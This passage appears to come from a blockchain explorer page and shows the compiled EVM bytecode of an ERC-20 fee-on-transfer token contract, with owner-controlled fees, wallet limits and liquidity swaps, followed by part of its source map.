f165b6110a75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b60648201526084016107a2565b6001600160a01b03821660009081526006602052604090205460ff1661115157601054816110ea846001600160a01b031660009081526003602052604090205490565b6110f49190611f19565b11156111515760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b60648201526084016107a2565b600254611189906001600160a01b0384811691161480159061118157506002546001600160a01b03858116911614155b8285856113c3565b600e5430600090815260036020526040902054101580156111b957506016546017546111b59190611f19565b4210155b80156111c8575060155460ff16155b80156111e257506002546001600160a01b03848116911614155b80156111fc57506000546001600160a01b03848116911614155b801561121657506000546001600160a01b03838116911614155b15611223576112236114a3565b6001600160a01b0383166000908152600360205260408120805483929061124b908490611f02565b90915550506001600160a01b038316600090815260056020526040902054819060ff1615801561129457506001600160a01b03831660009081526005602052604090205460ff16155b156112ba576002546112b790839086906001600160a01b038781169116146115a3565b90505b6002546112f1906001600160a01b038581169116148015906112ea57506002546001600160a01b03868116911614155b8585611706565b6001600160a01b03831660009081526003602052604081208054839290611319908490611f19565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161136591815260200190565b60405180910390a350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821660009081526005602052604090205460ff168061140257506001600160a01b03811660009081526005602052604090205460ff165b801561140c575083155b156114425742600a556001600160a01b03808216600090815260046020908152604080832093861683529290522083905561149d565b6001600160a01b03821660009081526005602052604090205460ff168061148157506001600160a01b03811660009081526005602052604090205460ff165b801561148a5750835b1561149d576114998342611f19565b600a555b50505050565b6015805460ff19166001179055601154156115135760006114c86011600001546117dc565b90508015611511576008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561150a573d6000803e3d6000fd5b5060006011555b505b6012541561156a5760125460009061152d90600290611ebb565b90506000816011600101546115429190611f02565b9050600061154f836117dc565b9050801561156157611561828261195b565b50506000601255505b6040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a1426017556015805460ff19169055565b6040805180820190915260135460ff808216835261010090910416602082015260009082156115ee57506040805180820190915260145460ff80821683526101009091041660208201525b80516000906064906116039060ff1688611e9c565b61160d9190611ebb565b905060006064836020015160ff16886116269190611e9c565b6116309190611ebb565b9050811561165357816011600001600082825461164d9190611f19565b90915550505b801561167457806011600101600082825461166e9190611f19565b90915550505b60006116808284611f19565b306000908152600360205260408120805492935083929091906116a4908490611f19565b909155505080156116f05760405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6116fa8189611f02565b98975050505050505050565b6001600160a01b03821660009081526005602052604090205460ff1615801561174857506001600160a01b03811660009081526005602052604090205460ff16155b1561179c576002546001600160a01b03828116911614806117665750825b156117a157600b5460ff161561179c57600a546001600160a01b03831660009081526007602052604090205461149d9190611f02565b505050565b6001600160a01b03811660009081526007602052604090205461179c576001600160a01b031660009081526007602052604090204290555050565b604080516002808252606082018352600092479284929091602083019080368337019050509050308160008151811061181757611817611f31565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561186b57600080fd5b505afa15801561187f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a39190611f47565b816001815181106118b6576118b6611f31565b6001600160a01b0392831660209182029290920101526001546118dc9130911686610dd4565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611915908790600090869030904290600401611f64565b600060405180830381600087803b15801561192f57600080fd5b505af1158015611943573d6000803e3d6000fd5b5050505081476119539190611f02565b949350505050565b6001546119739030906001600160a01b031684610dd4565b6001546000906001600160a01b031663f305d719833086858061199e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015611a0157600080fd5b505af1158015611a15573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a3a9190611fd5565b50915060009050611a4b8284611f02565b111561179c5761179c611a5e8284611f02565b6008546001600160a01b03169080471015611abb5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016107a2565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611b08576040519150601f19603f3d011682016040523d82523d6000602084013e611b0d565b606091505b505090508061179c5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016107a2565b60008060408385031215611b9757600080fd5b50508035926020909101359150565b803560ff81168114611bb757600080fd5b919050565b60008060408385031215611bcf57600080fd5b611bd883611ba6565b9150611be660208401611ba6565b90509250929050565b600060208083528351808285015260005b81811015611c1c57858101830151858201604001528201611c00565b81811115611c2e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610dd157600080fd5b60008060408385031215611c6c57600080fd5b8235611c7781611c44565b946020939093013593505050565b600080600060608486031215611c9a57600080fd5b8335611ca581611c44565b92506020840135611cb581611c44565b929592945050506040919091013590565b600060208284031215611cd857600080fd5b8135611ce381611c44565b9392505050565b600060208284031215611cfc57600080fd5b81358015158114611ce357600080fd5b600060208284031215611d1e57600080fd5b5035919050565b60008060408385031215611d3857600080fd5b8235611d4381611c44565b91506020830135611d5381611c44565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611de4578160001904821115611dca57611dca611d93565b80851615611dd757918102915b93841c9390800290611dae565b509250929050565b600082611dfb5750600161095d565b81611e085750600061095d565b8160018114611e1e5760028114611e2857611e44565b600191505061095d565b60ff841115611e3957611e39611d93565b50506001821b61095d565b5060208310610133831016604e8410600b8410161715611e67575081810a61095d565b611e718383611da9565b8060001904821115611e8557611e85611d93565b029392505050565b6000611ce360ff841683611dec565b6000816000190483118215151615611eb657611eb6611d93565b500290565b600082611ed857634e487b7160e01b600052601260045260246000fd5b500490565b600060ff821660ff84168060ff03821115611efa57611efa611d93565b019392505050565b600082821015611f1457611f14611d93565b500390565b60008219821115611f2c57611f2c611d93565b500190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611f5957600080fd5b8151611ce381611c44565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fb45784516001600160a01b031683529383019391830191600101611f8f565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611fea57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220df50de435288932b5f500cf3b1df41c39ddb3f141e7122a423d83c43ef67dbbc64736f6c63430008090033

Deployed Bytecode

0x60806040526004361061021e5760003560e01c80638c0b5e2211610123578063cc1776d3116100ab578063ef07a1821161006f578063ef07a182146106dc578063f2fde38b146106f2578063f887ea4014610712578063f8b45b0514610732578063f9d0ee941461074857600080fd5b8063cc1776d314610624578063d429f18114610647578063dd62ed3e14610667578063dd8c2e0f146106ad578063e1c73300146106c257600080fd5b80639e252f00116100f25780639e252f0014610584578063a457c2d7146105a4578063a8aa1b31146105c4578063a9059cbb146105e4578063aacebbe31461060457600080fd5b80638c0b5e22146105015780638da5cb5b146105175780638ea5220f1461053557806395d89b411461055557600080fd5b806339509351116101a657806366e795bb1161017557806366e795bb1461042e57806370a082311461044e578063715018a61461048457806375f0a87414610499578063768dc710146104d157600080fd5b806339509351146103845780634f7041a5146103a457806354504562146103e15780635b7a9da61461040e57600080fd5b8063095ea7b3116101ed578063095ea7b3146102d357806318160ddd1461030357806323b872dd1461031857806328c61f4114610338578063313ce5671461036857600080fd5b80630445b6671461022a578063046908b01461025357806306de65381461027557806306fdde031461029557600080fd5b3661022557005b600080fd5b34801561023657600080fd5b50610240600e5481565b6040519081526020015b60405180910390f35b34801561025f57600080fd5b5061027361026e366004611b84565b610778565b005b34801561028157600080fd5b50610273610290366004611bbc565b610867565b3480156102a157600080fd5b5060408051808201909152600c81526b2232b6b7b71029b630bcb2b960a11b60208201525b60405161024a9190611bef565b3480156102df57600080fd5b506102f36102ee366004611c59565b61094c565b604051901515815260200161024a565b34801561030f57600080fd5b50600d54610240565b34801561032457600080fd5b506102f3610333366004611c85565b610963565b34801561034457600080fd5b506102f3610353366004611cc6565b60066020526000908152604090205460ff1681565b34801561037457600080fd5b506040516009815260200161024a565b34801561039057600080fd5b506102f361039f366004611c59565b6109b5565b3480156103b057600080fd5b506013546103c79060ff8082169161010090041682565b6040805160ff93841681529290911660208301520161024a565b3480156103ed57600080fd5b506102406103fc366004611cc6565b60076020526000908152604090205481565b34801561041a57600080fd5b50610273610429366004611bbc565b6109ec565b34801561043a57600080fd5b50610273610449366004611cea565b610ad1565b34801561045a57600080fd5b50610240610469366004611cc6565b6001600160a01b031660009081526003602052604090205490565b34801561049057600080fd5b50610273610b0e565b3480156104a557600080fd5b506008546104b9906001600160a01b031681565b6040516001600160a01b03909116815260200161024a565b3480156104dd57600080fd5b506102f36104ec366004611cc6565b60056020526000908152604090205460ff1681565b34801561050d57600080fd5b50610240600f5481565b34801561052357600080fd5b506000546001600160a01b03166104b9565b34801561054157600080fd5b506009546104b9906001600160a01b031681565b34801561056157600080fd5b5060408051808201909152600681526529a620aca2a960d11b60208201526102c6565b34801561059057600080fd5b5061027361059f366004611d0c565b610b44565b3480156105b057600080fd5b506102f36105bf366004611c59565b610bef565b3480156105d057600080fd5b506002546104b9906001600160a01b031681565b3480156105f057600080fd5b506102f36105ff366004611c59565b610c26565b34801561061057600080fd5b5061027361061f366004611cc6565b610c33565b34801561063057600080fd5b506014546103c79060ff8082169161010090041682565b34801561065357600080fd5b50610273610662366004611c59565b610c7f565b34801561067357600080fd5b50610240610682366004611d25565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156106b957600080fd5b50610273610cd3565b3480156106ce57600080fd5b50600b546102f39060ff1681565b3480156106e857600080fd5b50610240600c5481565b3480156106fe57600080fd5b5061027361070d366004611cc6565b610d39565b34801561071e57600080fd5b506001546104b9906001600160a01b031681565b34801561073e57600080fd5b5061024060105481565b34801561075457600080fd5b50601154601254610763919082565b6040805192835260208301919091520161024a565b6000546001600160a01b031633146107ab5760405162461bcd60e51b81526004016107a290611d5e565b60405180910390fd5b60006107b96009600a611e8d565b6103e8600d5460056107cb9190611e9c565b6107d59190611ebb565b6107df9190611ebb565b90508083101580156107f15750808210155b6108305760405162461bcd60e51b815260206004820152601060248201526f496e76616c69642053657474696e677360801b60448201526064016107a2565b61083c6009600a611e8d565b6108469084611e9c565b600f556108556009600a611e8d565b61085f9083611e9c565b601055505050565b6000546001600160a01b031633146108915760405162461bcd60e51b81526004016107a290611d5e565b600061089d8284611edd565b60ff16905060508111156108ec5760405162461bcd60e51b8152602060048201526016602482015275086c2dc4ee840e6cae840e8c2f040e8dede40d0d2ced60531b60448201526064016107a2565b60408051808201825260ff85811680835290851660209092018290526014805461ffff1916909117610100909202919091179055517ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48090600090a1505050565b6000610959338484610dd4565b5060015b92915050565b6000610970848484610ef8565b6001600160a01b0384166000908152600460209081526040808320338085529252909120546109ab9186916109a6908690611f02565b610dd4565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916109599185906109a6908690611f19565b6000546001600160a01b03163314610a165760405162461bcd60e51b81526004016107a290611d5e565b6000610a228284611edd565b60ff169050601e811115610a715760405162461bcd60e51b8152602060048201526016602482015275086c2dc4ee840e6cae840e8c2f040e8dede40d0d2ced60531b60448201526064016107a2565b60408051808201825260ff85811680835290851660209092018290526013805461ffff1916909117610100909202919091179055517ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48090600090a1505050565b6000546001600160a01b03163314610afb5760405162461bcd60e51b81526004016107a290611d5e565b600b805460ff1916911515919091179055565b6000546001600160a01b03163314610b385760405162461bcd60e51b81526004016107a290611d5e565b610b426000611373565b565b6000546001600160a01b03163314610b6e5760405162461bcd60e51b81526004016107a290611d5e565b80471015610bbe5760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e6365000000000000000060448201526064016107a2565b604051339082156108fc029083906000818181858888f19350505050158015610beb573d6000803e3d6000fd5b5050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916109599185906109a6908690611f02565b6000610959338484610ef8565b6000546001600160a01b03163314610c5d5760405162461bcd60e51b81526004016107a290611d5e565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610ca95760405162461bcd60e51b81526004016107a290611d5e565b610cb38142611f19565b6001600160a01b0390921660009081526007602052604090209190915550565b601154601254600091610ce591611f19565b306000908152600360205260409020549091508110610d0357600080fd5b30600090815260036020526040812054610d1e908390611f02565b600854909150610beb9030906001600160a01b031683610ef8565b6000546001600160a01b03163314610d635760405162461bcd60e51b81526004016107a290611d5e565b6001600160a01b038116610dc85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107a2565b610dd181611373565b50565b6001600160a01b038316610e365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a2565b6001600160a01b038216610e975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a2565b6001600160a01b038216610fbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a2565b600081116110205760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a2565b600f548111158061104957506001600160a01b03831660009081526006602052604090205460ff165b6110a75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b60648201526084016107a2565b6001600160a01b03821660009081526006602052604090205460ff1661115157601054816110ea846001600160a01b031660009081526003602052604090205490565b6110f49190611f19565b11156111515760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b60648201526084016107a2565b600254611189906001600160a01b0384811691161480159061118157506002546001600160a01b03858116911614155b8285856113c3565b600e5430600090815260036020526040902054101580156111b957506016546017546111b59190611f19565b4210155b80156111c8575060155460ff16155b80156111e257506002546001600160a01b03848116911614155b80156111fc57506000546001600160a01b03848116911614155b801561121657506000546001600160a01b03838116911614155b15611223576112236114a3565b6001600160a01b0383166000908152600360205260408120805483929061124b908490611f02565b90915550506001600160a01b038316600090815260056020526040902054819060ff1615801561129457506001600160a01b03831660009081526005602052604090205460ff16155b156112ba576002546112b790839086906001600160a01b038781169116146115a3565b90505b6002546112f1906001600160a01b038581169116148015906112ea57506002546001600160a01b03868116911614155b8585611706565b6001600160a01b03831660009081526003602052604081208054839290611319908490611f19565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161136591815260200190565b60405180910390a350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821660009081526005602052604090205460ff168061140257506001600160a01b03811660009081526005602052604090205460ff165b801561140c575083155b156114425742600a556001600160a01b03808216600090815260046020908152604080832093861683529290522083905561149d565b6001600160a01b03821660009081526005602052604090205460ff168061148157506001600160a01b03811660009081526005602052604090205460ff165b801561148a5750835b1561149d576114998342611f19565b600a555b50505050565b6015805460ff19166001179055601154156115135760006114c86011600001546117dc565b90508015611511576008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561150a573d6000803e3d6000fd5b5060006011555b505b6012541561156a5760125460009061152d90600290611ebb565b90506000816011600101546115429190611f02565b9050600061154f836117dc565b9050801561156157611561828261195b565b50506000601255505b6040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a1426017556015805460ff19169055565b6040805180820190915260135460ff808216835261010090910416602082015260009082156115ee57506040805180820190915260145460ff80821683526101009091041660208201525b80516000906064906116039060ff1688611e9c565b61160d9190611ebb565b905060006064836020015160ff16886116269190611e9c565b6116309190611ebb565b9050811561165357816011600001600082825461164d9190611f19565b90915550505b801561167457806011600101600082825461166e9190611f19565b90915550505b60006116808284611f19565b306000908152600360205260408120805492935083929091906116a4908490611f19565b909155505080156116f05760405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6116fa8189611f02565b98975050505050505050565b6001600160a01b03821660009081526005602052604090205460ff1615801561174857506001600160a01b03811660009081526005602052604090205460ff16155b1561179c576002546001600160a01b03828116911614806117665750825b156117a157600b5460ff161561179c57600a546001600160a01b03831660009081526007602052604090205461149d9190611f02565b505050565b6001600160a01b03811660009081526007602052604090205461179c576001600160a01b031660009081526007602052604090204290555050565b604080516002808252606082018352600092479284929091602083019080368337019050509050308160008151811061181757611817611f31565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561186b57600080fd5b505afa15801561187f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a39190611f47565b816001815181106118b6576118b6611f31565b6001600160a01b0392831660209182029290920101526001546118dc9130911686610dd4565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611915908790600090869030904290600401611f64565b600060405180830381600087803b15801561192f57600080fd5b505af1158015611943573d6000803e3d6000fd5b5050505081476119539190611f02565b949350505050565b6001546119739030906001600160a01b031684610dd4565b6001546000906001600160a01b031663f305d719833086858061199e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015611a0157600080fd5b505af1158015611a15573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a3a9190611fd5565b50915060009050611a4b8284611f02565b111561179c5761179c611a5e8284611f02565b6008546001600160a01b03169080471015611abb5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016107a2565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611b08576040519150601f19603f3d011682016040523d82523d6000602084013e611b0d565b606091505b505090508061179c5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016107a2565b60008060408385031215611b9757600080fd5b50508035926020909101359150565b803560ff81168114611bb757600080fd5b919050565b60008060408385031215611bcf57600080fd5b611bd883611ba6565b9150611be660208401611ba6565b90509250929050565b600060208083528351808285015260005b81811015611c1c57858101830151858201604001528201611c00565b81811115611c2e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610dd157600080fd5b60008060408385031215611c6c57600080fd5b8235611c7781611c44565b946020939093013593505050565b600080600060608486031215611c9a57600080fd5b8335611ca581611c44565b92506020840135611cb581611c44565b929592945050506040919091013590565b600060208284031215611cd857600080fd5b8135611ce381611c44565b9392505050565b600060208284031215611cfc57600080fd5b81358015158114611ce357600080fd5b600060208284031215611d1e57600080fd5b5035919050565b60008060408385031215611d3857600080fd5b8235611d4381611c44565b91506020830135611d5381611c44565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611de4578160001904821115611dca57611dca611d93565b80851615611dd757918102915b93841c9390800290611dae565b509250929050565b600082611dfb5750600161095d565b81611e085750600061095d565b8160018114611e1e5760028114611e2857611e44565b600191505061095d565b60ff841115611e3957611e39611d93565b50506001821b61095d565b5060208310610133831016604e8410600b8410161715611e67575081810a61095d565b611e718383611da9565b8060001904821115611e8557611e85611d93565b029392505050565b6000611ce360ff841683611dec565b6000816000190483118215151615611eb657611eb6611d93565b500290565b600082611ed857634e487b7160e01b600052601260045260246000fd5b500490565b600060ff821660ff84168060ff03821115611efa57611efa611d93565b019392505050565b600082821015611f1457611f14611d93565b500390565b60008219821115611f2c57611f2c611d93565b500190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611f5957600080fd5b8151611ce381611c44565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fb45784516001600160a01b031683529383019391830191600101611f8f565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611fea57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220df50de435288932b5f500cf3b1df41c39ddb3f141e7122a423d83c43ef67dbbc64736f6c63430008090033

Deployed Bytecode Sourcemap

3258:11807:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4116:58;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4116:58:0;;;;;;;;8594:380;;;;;;;;;;-1:-1:-1;8594:380:0;;;;;:::i;:::-;;:::i;:::-;;8328:254;;;;;;;;;;-1:-1:-1;8328:254:0;;;;;:::i;:::-;;:::i;5850:83::-;;;;;;;;;;-1:-1:-1;5920:5:0;;;;;;;;;;;;-1:-1:-1;;;5920:5:0;;;;5850:83;;;;;;;:::i;6681:161::-;;;;;;;;;;-1:-1:-1;6681:161:0;;;;;:::i;:::-;;:::i;:::-;;;2090:14:1;;2083:22;2065:41;;2053:2;2038:18;6681:161:0;1925:187:1;6127:95:0;;;;;;;;;;-1:-1:-1;6207:7:0;;6127:95;;6850:266;;;;;;;;;;-1:-1:-1;6850:266:0;;;;;:::i;:::-;;:::i;3605:58::-;;;;;;;;;;-1:-1:-1;3605:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6036:83;;;;;;;;;;-1:-1:-1;6036:83:0;;4043:1;2972:36:1;;2960:2;2945:18;6036:83:0;2830:184:1;7124:215:0;;;;;;;;;;-1:-1:-1;7124:215:0;;;;;:::i;:::-;;:::i;4622:28::-;;;;;;;;;;-1:-1:-1;4622:28:0;;;;;;;;;;;;;;;;;;;3215:4:1;3203:17;;;3185:36;;3257:17;;;;3252:2;3237:18;;3230:45;3158:18;4622:28:0;3019:262:1;3670:48:0;;;;;;;;;;-1:-1:-1;3670:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;8067:253;;;;;;;;;;-1:-1:-1;8067:253:0;;;;;:::i;:::-;;:::i;9820:101::-;;;;;;;;;;-1:-1:-1;9820:101:0;;;;;:::i;:::-;;:::i;6230:117::-;;;;;;;;;;-1:-1:-1;6230:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6323:16:0;6296:7;6323:16;;;:7;:16;;;;;;;6230:117;1245:94;;;;;;;;;;;;;:::i;3727:75::-;;;;;;;;;;-1:-1:-1;3727:75:0;;;;-1:-1:-1;;;;;3727:75:0;;;;;;-1:-1:-1;;;;;3728:32:1;;;3710:51;;3698:2;3683:18;3727:75:0;3564:203:1;3547:51:0;;;;;;;;;;-1:-1:-1;3547:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4182:57;;;;;;;;;;;;;;;;1022:87;;;;;;;;;;-1:-1:-1;1068:7:0;1095:6;-1:-1:-1;;;;;1095:6:0;1022:87;;3809:69;;;;;;;;;;-1:-1:-1;3809:69:0;;;;-1:-1:-1;;;;;3809:69:0;;;5941:87;;;;;;;;;;-1:-1:-1;6013:7:0;;;;;;;;;;;;-1:-1:-1;;;6013:7:0;;;;5941:87;;8982:194;;;;;;;;;;-1:-1:-1;8982:194:0;;;;;:::i;:::-;;:::i;7347:225::-;;;;;;;;;;-1:-1:-1;7347:225:0;;;;;:::i;:::-;;:::i;3386:19::-;;;;;;;;;;-1:-1:-1;3386:19:0;;;;-1:-1:-1;;;;;3386:19:0;;;6355:167;;;;;;;;;;-1:-1:-1;6355:167:0;;;;;:::i;:::-;;:::i;9693:115::-;;;;;;;;;;-1:-1:-1;9693:115:0;;;;;:::i;:::-;;:::i;4657:29::-;;;;;;;;;;-1:-1:-1;4657:29:0;;;;;;;;;;;;;;;9929:145;;;;;;;;;;-1:-1:-1;9929:145:0;;;;;:::i;:::-;;:::i;6530:143::-;;;;;;;;;;-1:-1:-1;6530:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6638:18:0;;;6611:7;6638:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6530:143;9184:501;;;;;;;;;;;;;:::i;3932:34::-;;;;;;;;;;-1:-1:-1;3932:34:0;;;;;;;;3973:26;;;;;;;;;;;;;;;;1347:192;;;;;;;;;;-1:-1:-1;1347:192:0;;;;;:::i;:::-;;:::i;3358:21::-;;;;;;;;;;-1:-1:-1;3358:21:0;;;;-1:-1:-1;;;;;3358:21:0;;;4246:56;;;;;;;;;;;;;;;;4578:35;;;;;;;;;;-1:-1:-1;4578:35:0;;;;;;;;;;;;;4747:25:1;;;4803:2;4788:18;;4781:34;;;;4720:18;4578:35:0;4573:248:1;8594:380:0;1068:7;1095:6;-1:-1:-1;;;;;1095:6:0;645:10;1157:23;1149:68;;;;-1:-1:-1;;;1149:68:0;;;;;;;:::i;:::-;;;;;;;;;8687:20:::1;8734:13;4043:1;8734:2;:13;:::i;:::-;8725:4;8711:7;;8721:1;8711:11;;;;:::i;:::-;:18;;;;:::i;:::-;8710:38;;;;:::i;:::-;8687:61;;8782:15;8767:11;:30;;:68;;;;;8820:15;8801;:34;;8767:68;8759:97;;;::::0;-1:-1:-1;;;8759:97:0;;7299:2:1;8759:97:0::1;::::0;::::1;7281:21:1::0;7338:2;7318:18;;;7311:30;-1:-1:-1;;;7357:18:1;;;7350:46;7413:18;;8759:97:0::1;7097:340:1::0;8759:97:0::1;8896:13;4043:1;8896:2;:13;:::i;:::-;8881:29;::::0;:11;:29:::1;:::i;:::-;8867:11;:43:::0;8952:13:::1;4043:1;8952:2;:13;:::i;:::-;8933:33;::::0;:15;:33:::1;:::i;:::-;8921:9;:45:::0;-1:-1:-1;;;8594:380:0:o;8328:254::-;1068:7;1095:6;-1:-1:-1;;;;;1095:6:0;645:10;1157:23;1149:68;;;;-1:-1:-1;;;1149:68:0;;;;;;;:::i;:::-;8412:9:::1;8424:20;8439:5:::0;8424:12;:20:::1;:::i;:::-;8412:32;;;;8471:2;8463:4;:10;;8455:45;;;::::0;-1:-1:-1;;;8455:45:0;;7853:2:1;8455:45:0::1;::::0;::::1;7835:21:1::0;7892:2;7872:18;;;7865:30;-1:-1:-1;;;7911:18:1;;;7904:52;7973:18;;8455:45:0::1;7651:346:1::0;8455:45:0::1;8521:23;::::0;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;;;;::::1;;::::0;;::::1;::::0;;;8511:7:::1;:33:::0;;-1:-1:-1;;8511:33:0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;8560:14;::::1;::::0;-1:-1:-1;;8560:14:0::1;8401:181;8328:254:::0;;:::o;6681:161::-;6756:4;6773:39;645:10;6796:7;6805:6;6773:8;:39::i;:::-;-1:-1:-1;6830:4:0;6681:161;;;;;:::o;6850:266::-;6948:4;6965:36;6975:6;6983:9;6994:6;6965:9;:36::i;:::-;-1:-1:-1;;;;;7043:19:0;;;;;;:11;:19;;;;;;;;645:10;7043:33;;;;;;;;;7012:74;;7021:6;;7043:42;;7079:6;;7043:42;:::i;:::-;7012:8;:74::i;:::-;-1:-1:-1;7104:4:0;6850:266;;;;;:::o;7124:215::-;645:10;7212:4;7261:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7261:34:0;;;;;;;;;;7212:4;;7229:80;;7252:7;;7261:47;;7298:10;;7261:47;:::i;8067:253::-;1068:7;1095:6;-1:-1:-1;;;;;1095:6:0;645:10;1157:23;1149:68;;;;-1:-1:-1;;;1149:68:0;;;;;;;:::i;:::-;8150:9:::1;8163:20;8178:5:::0;8163:12;:20:::1;:::i;:::-;8150:33;;;;8210:2;8202:4;:10;;8194:45;;;::::0;-1:-1:-1;;;8194:45:0;;7853:2:1;8194:45:0::1;::::0;::::1;7835:21:1::0;7892:2;7872:18;;;7865:30;-1:-1:-1;;;7911:18:1;;;7904:52;7973:18;;8194:45:0::1;7651:346:1::0;8194:45:0::1;8259:23;::::0;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;;;;::::1;;::::0;;::::1;::::0;;;8250:6:::1;:32:::0;;-1:-1:-1;;8250:32:0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;8298:14;::::1;::::0;-1:-1:-1;